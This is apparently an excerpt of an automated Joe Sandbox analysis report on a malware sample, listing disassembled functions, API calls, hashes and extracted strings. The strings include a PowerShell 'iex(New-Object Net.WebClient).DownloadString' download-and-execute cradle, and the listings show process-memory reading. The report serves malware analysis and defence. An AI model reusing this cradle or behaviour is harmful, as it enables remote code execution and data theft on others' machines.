lstrcatA.KERNEL32(?,02CC1360), ref: 00414A97
lstrcatA.KERNEL32(?,?), ref: 00414AAB
lstrcatA.KERNEL32(?,02CC5D18), ref: 00414ABF

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 00418F20: GetFileAttributesA.KERNEL32(00000000,?,00410277,?,00000000,?,00000000,00420DB2,00420DAF), ref: 00418F2F

Part of subcall function 004147C0: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 004147D0
Part of subcall function 004147C0: HeapAlloc.KERNEL32(00000000), ref: 004147D7
Part of subcall function 004147C0: wsprintfA.USER32 ref: 004147F6
Part of subcall function 004147C0: FindFirstFileA.KERNEL32(?,?), ref: 0041480D

Memory Dump Source

Source File: 00000000.00000002.2752257198.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2752257198.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5BQwrSLxIZ.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID:
API String ID: 167551676-0
Opcode ID: 107bbed17a80564015f162fb8a19bb4a8604f35667d21cbe20428a14abca28ab
Instruction ID: a5c2d428b28de13255d2ac7946ab4b1842291e6be0275f36c7222d1bbee1b90f
Opcode Fuzzy Hash: 107bbed17a80564015f162fb8a19bb4a8604f35667d21cbe20428a14abca28ab
Instruction Fuzzy Hash: F93160B2D0421867CB14FBB0DC95EDD733EAB48704F40458EB20596091EE78A7C8CB99

Function 6C8F84CF Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,6C8F85DE,00000000,6C8F5DDF,00000000,00000000,00000001,?,6C8F8757,00000022,FlsSetValue,6C93EF80,6C93EF88,00000000), ref: 6C8F8590

Strings

ext-ms-, xrefs: 6C8F853A
api-ms-, xrefs: 6C8F8526

Memory Dump Source

Source File: 00000000.00000002.2771555815.000000006C8A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000000.00000002.2771520963.000000006C8A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771618992.000000006C901000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771671921.000000006C947000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771707980.000000006C949000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8a0000_5BQwrSLxIZ.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 5bd0cfe4a7dde593e9b4646963e1e473a784982d3d63b3054c4d788a8815b36e
Instruction ID: c8b444c585c87e0c2cfcde6aca46a8482b0688db8f97f6097e011e1442742d1f
Opcode Fuzzy Hash: 5bd0cfe4a7dde593e9b4646963e1e473a784982d3d63b3054c4d788a8815b36e
Instruction Fuzzy Hash: D221DE71B05114EBCB3297568D4498A37749B477ECF344A17E975E7A80D730EE06C6D0

Function 00419470 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 39fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(>=A,80000000,00000003,00000000,00000003,00000080,00000000,?,00413D3E,?), ref: 0041948C
GetFileSizeEx.KERNEL32(000000FF,>=A), ref: 004194A9
CloseHandle.KERNEL32(000000FF), ref: 004194B7

Strings

>=A, xrefs: 00419488, 0041948B
>=A, xrefs: 004194A1, 004194CD, 004194A4

Memory Dump Source

Source File: 00000000.00000002.2752257198.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2752257198.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5BQwrSLxIZ.jbxd

Yara matches

Similarity

API ID: File$CloseCreateHandleSize
String ID: >=A$>=A
API String ID: 1378416451-3536956848
Opcode ID: 81ae9b57d178cb6c2b2619f3187fe4d96e31a0019182dee87d4c099c60224e91
Instruction ID: 3a34b71ed32a5e038d40ec36a38ffc71a9509a973990dc3d9b0a1b42c7eefbe1
Opcode Fuzzy Hash: 81ae9b57d178cb6c2b2619f3187fe4d96e31a0019182dee87d4c099c60224e91
Instruction Fuzzy Hash: F2F04F39E08208BBDB10DFB0EC59F9E77BAAB48710F14C655FA15A72C0E6749A418B85

Function 00414300 Relevance: 9.1, APIs: 6, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00414325
RegOpenKeyExA.ADVAPI32(80000001,02CC5C98,00000000,00020119,?), ref: 00414344
RegQueryValueExA.ADVAPI32(?,02CC62C0,00000000,00000000,00000000,000000FF), ref: 00414368
RegCloseKey.ADVAPI32(?), ref: 00414372
lstrcatA.KERNEL32(?,00000000,?,00000104), ref: 00414397
lstrcatA.KERNEL32(?,02CC64B8), ref: 004143AB

Memory Dump Source

Source File: 00000000.00000002.2752257198.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2752257198.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5BQwrSLxIZ.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValuememset
String ID:
API String ID: 2623679115-0
Opcode ID: 5ab39f87e3c408f2a90f24169347c873da2d30c2c471e45419c7dcdc3ee26daa
Instruction ID: 95163f332e2e8486d22fa14c8026e7b1b291c890fe90cbe7f90fb3e747a5c624
Opcode Fuzzy Hash: 5ab39f87e3c408f2a90f24169347c873da2d30c2c471e45419c7dcdc3ee26daa
Instruction Fuzzy Hash: B641B8B6D001086BDB14EBA0EC46FEE773DAB8C300F04855EB7155A1C1EA7557888BE1

Function 004137B0 Relevance: 9.1, APIs: 6, Instructions: 122stringCOMMON

Download Yara Rule

APIs

strtok_s.MSVCRT ref: 004137D8

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

strtok_s.MSVCRT ref: 00413921

Part of subcall function 0041AB30: lstrlenA.KERNEL32(00000000,?,?,00415DA4,00420ADF,00420ADB,?,?,00416DB6,00000000,?,02CBEB50,?,004210F4,?,00000000), ref: 0041AB3B
Part of subcall function 0041AB30: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AB95

Memory Dump Source

Source File: 00000000.00000002.2752257198.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2752257198.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5BQwrSLxIZ.jbxd

Yara matches

Similarity

API ID: lstrcpystrtok_s$lstrlen
String ID:
API String ID: 3184129880-0
Opcode ID: 6c6fb7d06333238994955fa4e9c6fc16004326b07765d99504ffdab069fb4719
Instruction ID: b6ea97cb77591b20574b5f8bad6a91ea9d9e82a59cceccb6aeafc47a8efa6348
Opcode Fuzzy Hash: 6c6fb7d06333238994955fa4e9c6fc16004326b07765d99504ffdab069fb4719
Instruction Fuzzy Hash: 9541A471E101099BCB04EFA5D945AEEB779AF44314F00801EF51677291EB78AA84CFAA

Function 0041B68C Relevance: 9.1, APIs: 6, Instructions: 98COMMONLIBRARYCODE

Download Yara Rule

APIs

__lock.LIBCMT ref: 0041B69A

Part of subcall function 0041B2BC: __mtinitlocknum.LIBCMT ref: 0041B2D2
Part of subcall function 0041B2BC: __amsg_exit.LIBCMT ref: 0041B2DE
Part of subcall function 0041B2BC: EnterCriticalSection.KERNEL32(?,?,?,0041AF70,0000000E,0042A218,0000000C,0041AF3A), ref: 0041B2E6

DecodePointer.KERNEL32(0042A258,00000020,0041B7DD,?,00000001,00000000,?,0041B7FF,000000FF,?,0041B2E3,00000011,?,?,0041AF70,0000000E), ref: 0041B6D6
DecodePointer.KERNEL32(?,0041B7FF,000000FF,?,0041B2E3,00000011,?,?,0041AF70,0000000E,0042A218,0000000C,0041AF3A), ref: 0041B6E7

Part of subcall function 0041C136: EncodePointer.KERNEL32(00000000,0041C393,004D5FB8,00000314,00000000,?,?,?,?,?,0041BA07,004D5FB8,Microsoft Visual C++ Runtime Library,00012010), ref: 0041C138

DecodePointer.KERNEL32(-00000004,?,0041B7FF,000000FF,?,0041B2E3,00000011,?,?,0041AF70,0000000E,0042A218,0000000C,0041AF3A), ref: 0041B70D
DecodePointer.KERNEL32(?,0041B7FF,000000FF,?,0041B2E3,00000011,?,?,0041AF70,0000000E,0042A218,0000000C,0041AF3A), ref: 0041B720
DecodePointer.KERNEL32(?,0041B7FF,000000FF,?,0041B2E3,00000011,?,?,0041AF70,0000000E,0042A218,0000000C,0041AF3A), ref: 0041B72A

Memory Dump Source

Source File: 00000000.00000002.2752257198.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2752257198.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5BQwrSLxIZ.jbxd

Yara matches

Similarity

API ID: Pointer$Decode$CriticalEncodeEnterSection__amsg_exit__lock__mtinitlocknum
String ID:
API String ID: 2005412495-0
Opcode ID: d852e3d7d835d6e62f18a9395bea30f13d719b1b24e180a4b449e11ade6884fe
Instruction ID: 83cc19c0f9a08cc6c8264b8aa057ea451e2e215f117fa7a6923d46f1cea91310
Opcode Fuzzy Hash: d852e3d7d835d6e62f18a9395bea30f13d719b1b24e180a4b449e11ade6884fe
Instruction Fuzzy Hash: D131F974900349DFDF11AFA9D9856DDBAF1FF88314F14402BE460A62A0DBB84985CF99

Function 6C8F3E2F Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(00000001,?,6C8F3C01,6C8F0FD3,6C8F0A3B,?,6C8F0C73,?,00000001,?,?,00000001,?,6C945760,0000000C,6C8F0D6C), ref: 6C8F3E3D
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 6C8F3E4B
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 6C8F3E64
SetLastError.KERNEL32(00000000,6C8F0C73,?,00000001,?,?,00000001,?,6C945760,0000000C,6C8F0D6C,?,00000001,?), ref: 6C8F3EB6

Memory Dump Source

Source File: 00000000.00000002.2771555815.000000006C8A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000000.00000002.2771520963.000000006C8A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771618992.000000006C901000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771671921.000000006C947000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771707980.000000006C949000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8a0000_5BQwrSLxIZ.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 10cc33d5feab1348d165b48730c07a206f095c09dd06656d7436a625f0a3d361
Instruction ID: 607f63e86a397d845b1883eccb56a03800da418b4fc42add2c9ea154d9c27f3e
Opcode Fuzzy Hash: 10cc33d5feab1348d165b48730c07a206f095c09dd06656d7436a625f0a3d361
Instruction Fuzzy Hash: C401B53270E315AEDB3125795E846963B74DF422FD7348B39E63182ED0EB614C0B9181

Function 6C8DC160 Relevance: 9.1, APIs: 3, Strings: 2, Instructions: 301COMMON

Download Yara Rule

APIs

freeaddrinfo.WS2_32(?), ref: 6C8DC1CA
freeaddrinfo.WS2_32(?), ref: 6C8DC47A
freeaddrinfo.WS2_32(?), ref: 6C8DC55A

Strings

assertion failed: len >= mem::size_of::<c::sockaddr_in>()std\src\sys_common\net.rs, xrefs: 6C8DC4D5, 6C8DC513
assertion failed: len >= mem::size_of::<c::sockaddr_in6>(), xrefs: 6C8DC4F2, 6C8DC534

Memory Dump Source

Source File: 00000000.00000002.2771555815.000000006C8A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000000.00000002.2771520963.000000006C8A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771618992.000000006C901000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771671921.000000006C947000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771707980.000000006C949000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8a0000_5BQwrSLxIZ.jbxd

Similarity

API ID: freeaddrinfo
String ID: assertion failed: len >= mem::size_of::<c::sockaddr_in6>()$assertion failed: len >= mem::size_of::<c::sockaddr_in>()std\src\sys_common\net.rs
API String ID: 2731292433-3544120690
Opcode ID: ea4c7ef8c8b3802bf51a2cc91d0e1414241806ab362eb392fcd88766fce8dff1
Instruction ID: 71734ade17cbcfeb78dd3bb5385462e2b68bac8ca95e54e8cc367cccfc29d4c6
Opcode Fuzzy Hash: ea4c7ef8c8b3802bf51a2cc91d0e1414241806ab362eb392fcd88766fce8dff1
Instruction Fuzzy Hash: C3D179B1D00218CFCB28CF89D580AADBBB1FF49314F15856EE8196B752D770A945CF94

Function 0041CD0E Relevance: 9.0, APIs: 6, Instructions: 47COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0041CD1A

Part of subcall function 0041C2A0: __getptd_noexit.LIBCMT ref: 0041C2A3
Part of subcall function 0041C2A0: __amsg_exit.LIBCMT ref: 0041C2B0

__amsg_exit.LIBCMT ref: 0041CD3A
__lock.LIBCMT ref: 0041CD4A
InterlockedDecrement.KERNEL32(?), ref: 0041CD67
free.MSVCRT ref: 0041CD7A
InterlockedIncrement.KERNEL32(0042C558), ref: 0041CD92

Memory Dump Source

Source File: 00000000.00000002.2752257198.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2752257198.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5BQwrSLxIZ.jbxd

Yara matches

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd__getptd_noexit__lockfree
String ID:
API String ID: 634100517-0
Opcode ID: 525e96ac9f68bb1e385b36e47090da98a0ef9a1698a14b7f5a5138d390f6750c
Instruction ID: 9bccb4d37e88352bd342e74b92a79a764fb3ddc235490c160eda478cd1c3264c
Opcode Fuzzy Hash: 525e96ac9f68bb1e385b36e47090da98a0ef9a1698a14b7f5a5138d390f6750c
Instruction Fuzzy Hash: C8018835A816219BC721AB6AACC57DE7B60BF04714F55412BE80467790C73CA9C1CBDD

Function 6C8E12B0 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 240COMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(FFFFFFF4,?,?,?,?,?,?,?,?,?,?,?,?,00000000,6C8DB575,?), ref: 6C8E12E7
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,6C8DB575,?), ref: 6C8E12F6
GetConsoleMode.KERNEL32(00000000,?), ref: 6C8E133A
CloseHandle.KERNEL32(?,?,6C93A3E8,6C93B3D4,?,6C8D981A,6C93B3C4), ref: 6C8E15CA

Strings

called `Result::unwrap()` on an `Err` value, xrefs: 6C8E157D

Memory Dump Source

Source File: 00000000.00000002.2771555815.000000006C8A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C8A0000, based on PE: true

Associated: 00000000.00000002.2771520963.000000006C8A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771618992.000000006C901000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771671921.000000006C947000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2771707980.000000006C949000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c8a0000_5BQwrSLxIZ.jbxd

Similarity

API ID: Handle$CloseConsoleErrorLastMode
String ID: called `Result::unwrap()` on an `Err` value
API String ID: 1170577072-2333694755
Opcode ID: 250718198389b63e4a400588cfb8b3bdee864d3e3f32079f99ada8199d4bbdb0
Instruction ID: 9a45c1bbcf01373c64f4c9215679380cc4d7fa585a6fc66a3035ae5b81985097
Opcode Fuzzy Hash: 250718198389b63e4a400588cfb8b3bdee864d3e3f32079f99ada8199d4bbdb0
Instruction Fuzzy Hash: AC91E6B0D04258DBDF20CF98D984BDEBBB4AF0B308F148959E8556BB42D734D945CBA0

Function 00417180 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 156stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 0041719F
??_U@YAPAXI@Z.MSVCRT(00000000,?,?,?,?,?,?,?,?,0041741A,00000000,65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30,00000000,00000000), ref: 004171CD

Part of subcall function 00416E50: strlen.MSVCRT ref: 00416E61
Part of subcall function 00416E50: strlen.MSVCRT ref: 00416E85

VirtualQueryEx.KERNEL32(0041758D,00000000,?,0000001C), ref: 00417212
??_V@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0041741A), ref: 00417333

Part of subcall function 00417060: ReadProcessMemory.KERNEL32(00000000,00000000,?,?,00000000,00064000,00064000,00000000,00000004), ref: 00417078

Strings

@, xrefs: 00417226

Memory Dump Source

Source File: 00000000.00000002.2752257198.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2752257198.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5BQwrSLxIZ.jbxd

Yara matches

Similarity

API ID: strlen$MemoryProcessQueryReadVirtual
String ID: @
API String ID: 2950663791-2766056989
Opcode ID: fb37d5dfae784a160399b72835e1c1bb9686aa045b5c8bb6ae6988575cdfbf40
Instruction ID: d4c246fcbb90b677cbfa603dc812bd51b07a2c71a26f71c1c9cdc23e16c3c5e2
Opcode Fuzzy Hash: fb37d5dfae784a160399b72835e1c1bb9686aa045b5c8bb6ae6988575cdfbf40
Instruction Fuzzy Hash: CD5106B5E04109EBDB08CF98D981AEFB7B6BF88300F148159F915A7340D738AA41DBA5

Function 00406A00 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 155libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(00000000,?,?,?,?,?,00406E7A), ref: 00406A69

Strings

zn@, xrefs: 00406A0D, 00406A19, 00406A2C, 00406A35, 00406A59, 00406A82, 00406A85, 00406B3F, 00406B51, 00406B5D, 00406B66, 00406BE3, 00406B99, 00406A9A, 00406ABD, 00406AC9, 00406AF1, 00406B21, 00406B33, 00406AFD, 00406B0A, 00406AA6
zn@, xrefs: 00406B78, 00406C06, 00406C0B, 00406BB5

Memory Dump Source

Source File: 00000000.00000002.2752257198.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2752257198.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000514000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000056E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000057B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000059B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000648000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.0000000000668000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.000000000066E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2752257198.00000000006E8000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_5BQwrSLxIZ.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: zn@$zn@
API String ID: 1029625771-1156428846
Opcode ID: 3fc5a8dedeb49d1d19b08a8b2b74cc72c2b475cc3767d007be69e7bc9d832ffb
Instruction ID: 56bd16fc9bcf92c18956b4b249a59c76870f8c01999fa8d2962da2cd55bb9a52
Opcode Fuzzy Hash: 3fc5a8dedeb49d1d19b08a8b2b74cc72c2b475cc3767d007be69e7bc9d832ffb
Instruction Fuzzy Hash: C571D874A04109DFDB04CF48C494BAAB7B1FF88305F158179E84AAF395C739AA91CF95

Function 00412EE0 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 99COMMON

Download Yara Rule

APIs

Part of subcall function 0041AA50: lstrcpy.KERNEL32(00420AF3,00000000), ref: 0041AA98

Part of subcall function 0041ACC0: lstrlenA.KERNEL32(?,004210F8,?,00000000,00420AF3), ref: 0041ACD5
Part of subcall function 0041ACC0: lstrcpy.KERNEL32(00000000), ref: 0041AD14
Part of subcall function 0041ACC0: lstrcatA.KERNEL32(00000000,00000000), ref: 0041AD22

Part of subcall function 0041AC30: lstrcpy.KERNEL32(00000000,?), ref: 0041AC82
Part of subcall function 0041AC30: lstrcatA.KERNEL32(00000000), ref: 0041AC92

Part of subcall function 0041ABB0: lstrcpy.KERNEL32(?,00420AF3), ref: 0041AC15

ShellExecuteEx.SHELL32(0000003C), ref: 00412FD5

Strings

-nop -c "iex(New-Object Net.WebClient).DownloadString(', xrefs: 00412F14
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, xrefs: 00412F54
')", xrefs: 00412F03
<, xrefs: 00412F89

Memory Dump Source

Source File: 00000000.00000002.2752257198.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2752257198.00000000004E6000.00000040.00000001.01000000.00000003.sdmpDownload File
